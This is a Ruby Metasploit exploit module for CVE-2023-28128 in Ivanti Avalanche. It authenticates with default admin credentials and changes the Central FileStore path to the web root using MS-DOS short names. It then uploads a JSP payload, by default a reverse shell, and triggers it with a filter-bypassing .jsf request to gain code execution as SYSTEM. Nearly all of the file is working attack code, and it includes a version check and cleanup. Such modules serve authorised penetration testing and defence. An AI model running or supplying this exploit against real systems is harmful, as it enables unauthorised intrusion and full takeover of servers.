##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ivanti Avalanche FileStoreConfig File Upload',
        'Description' => %q{
          Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short
          names in the configuration path for the Central FileStore. Because of
          this, an administrator can change the default path to the web root
          of the applications, upload a JSP file, and achieve RCE as NT AUTHORITY\SYSTEM.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Piotr Bazydlo', # @chudypb - Vulnerability Discovery
          'Shelby Pace' # Metasploit module
        ],
        'References' => [
          ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-23-456/'],
          ['URL', 'https://forums.ivanti.com/s/article/ZDI-CAN-17812-Ivanti-Avalanche-FileStoreConfig-Arbitrary-File-Upload-Remote-Code-Execution-Vulnerability?language=en_US'],
          ['URL', 'https://attackerkb.com/topics/jcdcN9SN9V/cve-2023-28128'],
          ['CVE', '2023-28128']
        ],
        'Platform' => ['win', 'java'],
        'Privileged' => true,
        'Arch' => ARCH_JAVA,
        'Targets' => [
          [ 'Automatic Target', { 'DefaultOptions' => { 'Payload' => 'java/jsp_shell_reverse_tcp' } }]
        ],
        'DisclosureDate' => '2023-04-24',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('USERNAME', [ true, 'User name to log in with', 'amcadmin' ]),
        OptString.new('PASSWORD', [ true, 'Password to log in with', 'admin' ]),
        OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/AvalancheWeb' ])
      ]
    )
  end

  def check
    # Cleanup should not be needed after doing just a check.
    @cleanup_needed = false

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login.jsf'),
      'method' => 'GET'
    )

    return CheckCode::Unknown('Failed to receive a response from the application') unless res

    unless res.body.include?('Avalanche - User Login')
      return CheckCode::Safe('Application does not appear to be Ivanti Avalanche')
    end

    html = res.get_html_document
    elem = html.search('link')&.find { |link| link&.at('@href')&.text&.match(/\d+\.\d+\.\d+\.\d{1,4}/) }
    return CheckCode::Detected('Couldn\'t retrieve element containing Avalanche version') unless elem

    version = elem&.at('@href')&.value&.match(/(\d+\.\d+\.\d+\.\d{1,4})/)
    return CheckCode::Detected('Failed to retrieve software version') unless version && version.length >= 2

    version = version[1]
    vprint_status("Version of Ivanti Avalanche appears to be v#{version}")
    ver_no = Rex::Version.new(version)
    patched_version = Rex::Version.new('6.4.0.186')

    if ver_no >= patched_version
      CheckCode::Safe('Target has been patched!')
    elsif ver_no < patched_version
      CheckCode::Appears('Target appears to be running an unpatched version of Ivanti Avalanche!')
    else
      CheckCode::Unknown("This should never be hit! Some error occurred when grabbing the target version: #{ver_no}")
    end
  end

  def authenticate
    if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
      fail_with(Failure::BadConfig, 'Please set the USERNAME and PASSWORD options')
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('Avalanche - User Login')

    html = res.get_html_document
    view_state = get_view_state(html)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after browsing to the login page.') unless view_state

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'login.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'loginForm' => 'loginForm',
        'j_idt8' => '',
        'loginField' => datastore['USERNAME'],
        'passwordField' => datastore['PASSWORD'],
        'TextCaptchaAnswer' => '',
        'javax.faces.ViewState' => view_state,
        'loginTableButton' => 'loginTableButton'
      }
    )

    unless res&.code == 302 && res&.headers&.dig('Location')&.include?('inventory.jsf')
      fail_with(Failure::UnexpectedReply, 'Login failed')
    end
  end

  def get_view_state(html)
    view_state = html.xpath("//input[@name='javax.faces.ViewState']")&.first&.at('@value')&.text

    view_state
  end

  def configure_filestore
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first
      fail_with(Failure::UnexpectedReply, 'Failed to access FileStore configuration')
    end

    html = res.get_html_document
    view_state = get_view_state(html)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state from FileStoreConfig page') unless view_state

    @original_config_path = html.xpath("//input[@id='txtUncPath']")&.first&.at('@value')&.text
    fail_with(Failure::UnexpectedReply, 'Unable to grab FileStore path') unless @original_config_path
    print_status("Original FileStore config path: '#{@original_config_path}'")

    # determine drive letter
    drive_letter = @original_config_path.match(/([a-zA-Z])(:|\$)/)
    fail_with(Failure::UnexpectedReply, 'Couldn\'t determine drive letter for path') unless drive_letter&.length&.>= 3
    drive_letter = drive_letter[1]

    new_config_path = "#{drive_letter}:\\PROGRA~1\\Wavelink\\AVALAN~1\\Web"
    print_status("Changing FileStore config path to '#{new_config_path}'")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',
        'formFileStoreConfig' => 'formFileStoreConfig',
        'txtUncPath' => new_config_path,
        'txtVelocityFolder' => '',
        'javax.faces.ViewState' => view_state
      }
    )

    input_field_html = res&.get_html_document&.xpath('//input[@id="txtUncPath"]')&.first
    if input_field_html.blank?
      fail_with(Failure::UnexpectedReply, 'Did not receive a response containing the expected txtUncPath input field!')
    elsif input_field_html[:value] != new_config_path
      fail_with(Failure::UnexpectedReply, 'Failed to change FileStore config path')
    end
  end

  def get_directory_val(res, dir_name)
    html = res.get_html_document
    results = html.xpath('//tr[contains(@class, "DIRECTORY")]')
    fail_with(Failure::UnexpectedReply, 'Failed to find list of expected directories') unless results

    expand_dir = results.find { |result| result.at('td')&.text&.strip == dir_name }
    fail_with(Failure::UnexpectedReply, "Failed to find the '#{dir_name}' directory to write to") unless expand_dir
    data_rk = expand_dir.at('@data-rk')&.value
    fail_with(Failure::UnexpectedReply, "Failed to get value to expand #{dir_name} directory") unless data_rk

    data_rk
  end

  def expand_folder(data_rk, view_state)
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',
        'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',
        'fileStoreTree_dlgFileStoreTree' => 'fileStoreTree_dlgFileStoreTree',
        'fileStoreTree_dlgFileStoreTree_expand' => data_rk,
        'javax.faces.ViewState' => view_state
      }
    )
  end

  def select_folder(data_rk, view_state)
    @cleanup_needed = true
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' =>
      {
        'javax.faces.source' => 'fileStoreTree_dlgFileStoreTree',
        'javax.faces.partial.execute' => 'fileStoreTree_dlgFileStoreTree',
        'javax.faces.behavior.event' => 'select',
        'javax.faces.partial.event' => 'select',
        'fileStoreTree_dlgFileStoreTree_instantSelection' => data_rk,
        'form_filestore_tree' => 'form_filestore_tree',
        'fileStoreTree_dlgFileStoreTree_selection' => data_rk,
        'javax.faces.ViewState' => view_state
      }
    )
  end

  def upload_payload
    payload_name = "#{Rex::Text.rand_text_alpha(5..12)}.jsp"
    # need to 'select' webapps/AvalancheWeb to upload a file
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    fail_with(Failure::UnexpectedReply, 'Failed to access updated FileStore page') unless res&.get_html_document&.xpath('//form[@id="form_filestore_tree"]')&.first
    web_data_rk = get_directory_val(res, 'webapps')
    view_state = get_view_state(res.get_html_document)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after accessing the updated FileStore page') unless view_state

    res = expand_folder(web_data_rk, view_state)
    fail_with(Failure::UnexpectedReply, 'Did not receive response from \'webapps\' expansion') unless res
    avalanche_data_rk = get_directory_val(res, 'AvalancheWeb')
    view_state = get_view_state(res.get_html_document)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after getting the directory value for AvalancheWeb') unless view_state
    res = select_folder(avalanche_data_rk, view_state)
    fail_with(Failure::UnexpectedReply, 'Did not receive response from \'AvalancheWeb\' selection') unless res

    view_state = get_view_state(res.get_html_document)
    fail_with(Failure::UnexpectedReply, 'Failed to retrieve view state after selecting the AvalancheWeb folder') unless view_state

    boundary = "#{'-' * 4}WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"

    post_data = "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"upload-form\"\r\n\r\n"
    post_data << "upload-form\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.ViewState\"\r\n\r\n"
    post_data << "#{view_state}\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.ajax\r\n\r\n"
    post_data << "true\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.execute\"\r\n\r\n"
    post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.source\"\r\n\r\n"
    post_data << "importFileStoreItemPanel_dlgFileStoreTree\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"javax.faces.partial.render\"\r\n\r\n"
    post_data << "fileStoreTree_dlgFileStoreTree managementBtns addFolderDialog_dlgFileStoreTree renameItemDialog_dlgFileStoreTree confirmDeleteItemDialog_dlgFileStoreTree importMessages\r\n"
    post_data << "--#{boundary}\r\n"
    post_data << "Content-Disposition: form-data; name=\"importFileStoreItemPanel_dlgFileStoreTree\"; filename=\"#{payload_name}\"\r\n"
    post_data << "Content-Type: application/octet-stream\r\n\r\n"
    post_data << "#{payload.encoded}\r\n"
    post_data << "--#{boundary}--\r\n"

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'data' => post_data,
      'headers' => {
        'Accept' => 'application/xml, text/xml, */*; q=0.01',
        'Faces-Request' => 'partial/ajax',
        'X-RequestedWith' => 'XMLHttpRequest',
        'Content-Type' => "multipart/form-data; boundary=#{boundary}",
        'Accept-Encoding' => 'gzip, deflate'
      }
    )

    fail_with(Failure::UnexpectedReply, 'Failed to upload payload') unless res&.body&.include?("Imported file #{payload_name}")

    print_good("Successfully uploaded '#{payload_name}'")
    payload_name
  end

  def cleanup
    if @cleanup_needed == false
      return
    end

    restore_msg = 'Please manually restore FileStore config via Tools -> Central FileStore -> Configurations.'
    print_status('Attempting to restore config path')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    unless res
      print_error("Could not access FileStore config. #{restore_msg}")
      return
    end

    html = res.get_html_document
    view_state = get_view_state(html)
    unless view_state
      print_error("Failed to get view state. #{restore_msg}")
      return
    end

    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => {
        'linkFileStoreConfigSave' => 'linkFileStoreConfigSave',
        'formFileStoreConfig' => 'formFileStoreConfig',
        'txtUncPath' => @original_config_path,
        'txtVelocityFolder' => '',
        'javax.faces.ViewState' => view_state
      }
    )

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'app', 'FileStoreConfig.jsf'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    unless res&.body&.include?(@original_config_path)
      print_warning("Failed to restore the FileStore config path to its original path. #{restore_msg}")
      return
    end

    print_good('Successfully restored the FileStore config path')
  end

  def exploit
    # Starting off we shouldn't need cleanup, however if we get to the point were we start
    # to change config settings then we will need to clean that up.
    @cleanup_needed = false

    authenticate
    configure_filestore
    payload_name = upload_payload

    register_file_for_cleanup("webapps/#{payload_name}")
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, payload_name.gsub('jsp', 'jsf')), # bypasses the app's filter, but is still resolved by java faces servlet
      'method' => 'GET',
      'keep_cookies' => true
    )
  end
end
